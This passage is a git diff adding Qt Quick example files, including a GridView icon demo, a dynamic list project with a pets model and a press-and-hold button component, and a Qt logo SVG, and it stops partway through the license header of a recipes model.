new file mode 100644
index 00000000..a3e331b2
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/gridview-example/gridview-example.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/gridview/qml/gridview-example/gridview-example.qml b/examples/declarative/modelviews/gridview/qml/gridview-example/gridview-example.qml
new file mode 100644
index 00000000..a128a53a
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/qml/gridview-example/gridview-example.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 300; height: 400
+ color: "white"
+
+ ListModel {
+ id: appModel
+ ListElement { name: "Music"; icon: "pics/AudioPlayer_48.png" }
+ ListElement { name: "Movies"; icon: "pics/VideoPlayer_48.png" }
+ ListElement { name: "Camera"; icon: "pics/Camera_48.png" }
+ ListElement { name: "Calendar"; icon: "pics/DateBook_48.png" }
+ ListElement { name: "Messaging"; icon: "pics/EMail_48.png" }
+ ListElement { name: "Todo List"; icon: "pics/TodoList_48.png" }
+ ListElement { name: "Contacts"; icon: "pics/AddressBook_48.png" }
+ }
+
+ Component {
+ id: appDelegate
+
+ Item {
+ width: 100; height: 100
+
+ Image {
+ id: myIcon
+ y: 20; anchors.horizontalCenter: parent.horizontalCenter
+ source: icon
+ }
+ Text {
+ anchors { top: myIcon.bottom; horizontalCenter: parent.horizontalCenter }
+ text: name
+ }
+ }
+ }
+
+ Component {
+ id: appHighlight
+ Rectangle { width: 80; height: 80; color: "lightsteelblue" }
+ }
+
+ GridView {
+ anchors.fill: parent
+ cellWidth: 100; cellHeight: 100
+ highlight: appHighlight
+ focus: true
+ model: appModel
+ delegate: appDelegate
+ }
+}
diff --git a/examples/declarative/modelviews/gridview/qml/gridview-example/pics/AddressBook_48.png b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/AddressBook_48.png
new file mode 100644
index 00000000..1ab7c8ee
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/AddressBook_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/gridview/qml/gridview-example/pics/AudioPlayer_48.png b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/AudioPlayer_48.png
new file mode 100644
index 00000000..f4b8689f
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/AudioPlayer_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/gridview/qml/gridview-example/pics/Camera_48.png b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/Camera_48.png
new file mode 100644
index 00000000..c76b5249
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/Camera_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/gridview/qml/gridview-example/pics/DateBook_48.png b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/DateBook_48.png
new file mode 100644
index 00000000..58f5787f
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/DateBook_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/gridview/qml/gridview-example/pics/EMail_48.png b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/EMail_48.png
new file mode 100644
index 00000000..d6d84a61
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/EMail_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/gridview/qml/gridview-example/pics/TodoList_48.png b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/TodoList_48.png
new file mode 100644
index 00000000..0988448d
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/TodoList_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/gridview/qml/gridview-example/pics/VideoPlayer_48.png b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/VideoPlayer_48.png
new file mode 100644
index 00000000..52638c50
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/qml/gridview-example/pics/VideoPlayer_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.png b/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.pro b/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.pro
new file mode 100644
index 00000000..dd7a96a9
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/dynamic
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE49D962F
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/listview/dynamiclist
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.qmlproject b/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.qmlproject
new file mode 100644
index 00000000..14b7b95e
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/dynamic"
+ }
+ JavaScriptFiles {
+ directory: "qml/dynamic"
+ }
+ ImageFiles {
+ directory: "qml/dynamic"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.svg b/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/dynamiclist.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/listview/dynamiclist/main.cpp b/examples/declarative/modelviews/listview/dynamiclist/main.cpp
new file mode 100644
index 00000000..1d197cba
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/dynamic/dynamiclist.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/PetsModel.qml b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/PetsModel.qml
new file mode 100644
index 00000000..76ddccbb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/PetsModel.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ name: "Polly"
+ type: "Parrot"
+ age: 12
+ size: "Small"
+ }
+ ListElement {
+ name: "Penny"
+ type: "Turtle"
+ age: 4
+ size: "Small"
+ }
+ ListElement {
+ name: "Warren"
+ type: "Rabbit"
+ age: 2
+ size: "Small"
+ }
+ ListElement {
+ name: "Spot"
+ type: "Dog"
+ age: 9
+ size: "Medium"
+ }
+ ListElement {
+ name: "Schrödinger"
+ type: "Cat"
+ age: 2
+ size: "Medium"
+ }
+ ListElement {
+ name: "Joey"
+ type: "Kangaroo"
+ age: 1
+ size: "Medium"
+ }
+ ListElement {
+ name: "Kimba"
+ type: "Bunny"
+ age: 65
+ size: "Large"
+ }
+ ListElement {
+ name: "Rover"
+ type: "Dog"
+ age: 5
+ size: "Large"
+ }
+ ListElement {
+ name: "Tiny"
+ type: "Elephant"
+ age: 15
+ size: "Large"
+ }
+}
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/PressAndHoldButton.qml b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/PressAndHoldButton.qml
new file mode 100644
index 00000000..f160a1de
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/PressAndHoldButton.qml
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: container
+
+ property int repeatDelay: 300
+ property int repeatDuration: 75
+ property bool pressed: false
+
+ signal clicked
+
+ scale: pressed ? 0.9 : 1
+
+ function release() {
+ autoRepeatClicks.stop()
+ container.pressed = false
+ }
+
+ SequentialAnimation on pressed {
+ id: autoRepeatClicks
+ running: false
+
+ PropertyAction { target: container; property: "pressed"; value: true }
+ ScriptAction { script: container.clicked() }
+ PauseAnimation { duration: repeatDelay }
+
+ SequentialAnimation {
+ loops: Animation.Infinite
+ ScriptAction { script: container.clicked() }
+ PauseAnimation { duration: repeatDuration }
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+
+ onPressed: autoRepeatClicks.start()
+ onReleased: container.release()
+ onCanceled: container.release()
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/RecipesModel.qml b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/RecipesModel.qml
new file mode 100644
index 00000000..83baeee8
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/RecipesModel.qml
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
